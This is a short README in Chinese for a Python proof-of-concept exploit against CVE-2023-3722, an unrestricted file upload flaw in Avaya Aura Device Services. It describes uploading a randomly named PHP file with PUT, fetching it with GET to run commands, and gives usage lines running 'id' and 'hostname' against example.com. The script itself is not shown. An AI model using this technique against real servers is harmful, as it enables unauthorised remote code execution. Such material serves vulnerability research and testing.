针对 Avaya Aura Device Services 不受限制的文件上传远程代码执行(RCE)漏洞(CVE-2023-3722)的 Python POC。
该脚本将使用 PUT 请求上传一个带有八位随机生成文件名的 PHP 文件,然后发起 GET 请求获取该文件并解析其输出,从而获得命令执行结果。
python3 ./CVE-2023-3722.py example.com:444 --query "id"
python3 ./CVE-2023-3722.py example.com:444 --query "hostname"